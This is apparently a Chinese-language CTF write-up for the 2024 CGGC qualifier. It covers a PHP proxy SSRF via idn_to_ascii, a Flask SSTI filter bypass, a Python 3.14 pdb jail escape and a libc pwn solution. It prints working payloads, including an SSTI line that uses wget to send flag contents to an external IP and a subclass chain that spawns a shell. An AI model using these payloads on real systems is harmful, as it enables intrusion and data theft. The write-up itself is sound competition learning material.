2024-CGGC-Qual-writeup

2024-11-05

2024 CGGC Qual-writeup

Author: 堇姬Naup

簡單紀錄這場有摸的題目

web

proxy

這題基本上就是要你GET request $service$port並且會從你的url path抓東西,然後去做 curl
目標是要抓到 http://secretweb/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

function proxy($service) {
$requestUri = $_SERVER['REQUEST_URI'];
$parsedUrl = parse_url($requestUri);

$port = 80;
if (isset($_GET['port'])) {
$port = (int)$_GET['port'];
} else if ($_COOKIE["port"]) {
$port = (int)$_COOKIE['port'];
}
setcookie("service", $service);
setcookie("port", $port);
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
$fixeddomain = idn_to_ascii($fixeddomain);
$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);
curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']);
curl_exec($ch);
curl_close($ch);
}

if (!isset($_GET['service']) && !isset($_COOKIE["service"])) {
highlight_file(__FILE__);
} else if (isset($_GET['service'])) {
proxy($_GET['service']);
} else {
proxy($_COOKIE["service"]);
}

這邊主要問題是傳入的service會經歷一系列filter(為 $fixeddomain)
兩次trim filter特殊字元,並接到.cggc.chummy.tw:<port> -> idn_to_ascii(將Unicode DNS格式轉IDNA ASCII) -> preg_match在做一次filter -> http://<$fixeddomain><parseurl path>?<query string>

https://www.php.net/manual/zh/function.idn-to-ascii.php

這邊有個問題
當service傳入一個很大的數字,idn_to_ascii吃到會回傳空的,所以把前面的&service塞爆,後面串要請求的網址就行,下方是PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$service = str_repeat('c', 1000);
$port = 80;
$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
$fixeddomain = idn_to_ascii($fixeddomain);
$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);

$ch_url = 'http://'.$fixeddomain.'webhook.site/e7af8d30-c95f-4ba7-aa4b-e47a00c1e48a';

curl_setopt($ch, CURLOPT_URL, $ch_url);
curl_exec($ch);
curl_close($ch);

?>

final payload: http://10.99.66.6/secretweb/flag?service=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Flag: CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}

Breakjail Online 🛜

這題是SSTI題

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/SsTiMe', methods=['GET'])
def showip():
# WOW! There has a SSTI in Flask!!!
q = request.args.get('q', "'7'*7")

# prevent smuggling bad payloads!
request.args = {}
request.headers = {}
request.cookies = {}
request.data = {}
request.query_string = b"#"+request.query_string

if any([x in "._.|||" for x in q]) or len(q) > 88:
return "Too long for me :/ my payload less than 73 chars"

res = render_template_string(f"{{{{{q}}}}}",
# TODO: just for debugging, remove this in production
breakpoint=breakpoint,
str=str
)

# oops, I just type 'res' not res qq
return 'res=7777777'

過濾掉了._|,並限制了長度不能夠大於88

這題payload是

1
lipsum["\x5f\x5fglobals\x5f\x5f"]["os"]["system"]("wget 395507846:1/`cat /flag*`")

基本上就是用lipsum那條SSTI,用[]來bypass.被ban,\x5來bypass _,之後抓到system,用十進制的 ip 和*來壓短payload

flag: CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}

Misc

Breakjail ⛓️

首先是他讓你輸入一個字串,先過濾了._並且限制長度不可以大於55,之後放入到eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/local/bin/python3
print(open(__file__).read())

flag = open('flag').read()
flag = "Got eaten by the cookie monster QQ"

inp = __import__("unicodedata").normalize("NFKC", input(">>> "))

if any([x in "._." for x in inp]) or inp.__len__() > 55:
print('bad hacker')
else:
eval(inp, {"__builtins__": {}}, {
'breakpoint': __import__('GoodPdb').good_breakpoint})

print(flag)

這裡的eval有兩個設定,一個把__builtins__清空,內建函數不可用,之後import GoodPdb的good_breakpoint給’breakpoint’
來看GoodPdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pdb

# patch from https://github.com/python/cpython/blob/ed24702bd0f9925908ce48584c31dfad732208b2/Lib/cmd.py#L98

class GoodPdb(pdb.Pdb):
def cmdloop(self, intro=None):
...

def do_interact(self, arg):
"""
no interactive!
"""
pass

good_breakpoint = GoodPdb().set_trace

GoodPdb繼承自整個pdb.Pdb,而他call了set_trace
來看python3.14 documets
https://docs.python.org/zh-tw/3.14/library/pdb.html#pdb.set_trace
set_trace原型是
pdb.set_trace(*, header=None, commands=None)
commands是在3.14中加入的,他可以輸入一些pdb相關commands
當我們輸入 breakpoint(commands='h')
可以看到有許多pdb commands可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
EOF    
cl
disable
ignore
n
return
u
where
a
clear
display
interact
next
retval
unalias
alias
commands
down
j
p
run
undisplay
args
condition
enable
jump
pp
rv
unt
b
cont
exceptions
l
q
s
until
break
continue
exit
list
quit
source
up
bt
d
h
ll
r
step
w
c
debug
help
longlist
restart
tbreak
whatis

這邊下 breakpoint(commands=["debug",]),他會開一個pdb shell給你,我們就有任意python執行了
不過我們沒有內建函數,最後用
[''.__class__.__base__.__subclasses__()[158].__init__.__globals__][0]["system"]("sh")
開一個 shell,成功get flag

flag: CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}

Pwn

one_shot

IDA逆一下會發現他叫你輸入一個 address,之後你可以往那個位置想0xE0大小的東西,並且有給你libc,然後保護全開

簡單還說我們現在有一個 libc 任意寫,原本我的想法控puts底下在call strlen時,會去call *ABS*@got.plt,這裡的GOT是可寫段,所以把這裡改掉就可以控rip,但我沒想到怎麼去跳ROP,或是控rdi的方法
這邊賽後有看到其他組有用這方法做出來,可以來看這個repo
https://github.com/n132/Libc-GOT-Hijacking/blob/main/Post/README.md

最後是house of apple 解決
https://zikh26.github.io/posts/19609dd.html

CGGC{0ne_sh0t_14_4ll_y0u_nEEd!}

後記

放一下score board
也感謝這兩天一起奮鬥的隊友 @Aukro @Flydragon @Whale.120

image
image

image
image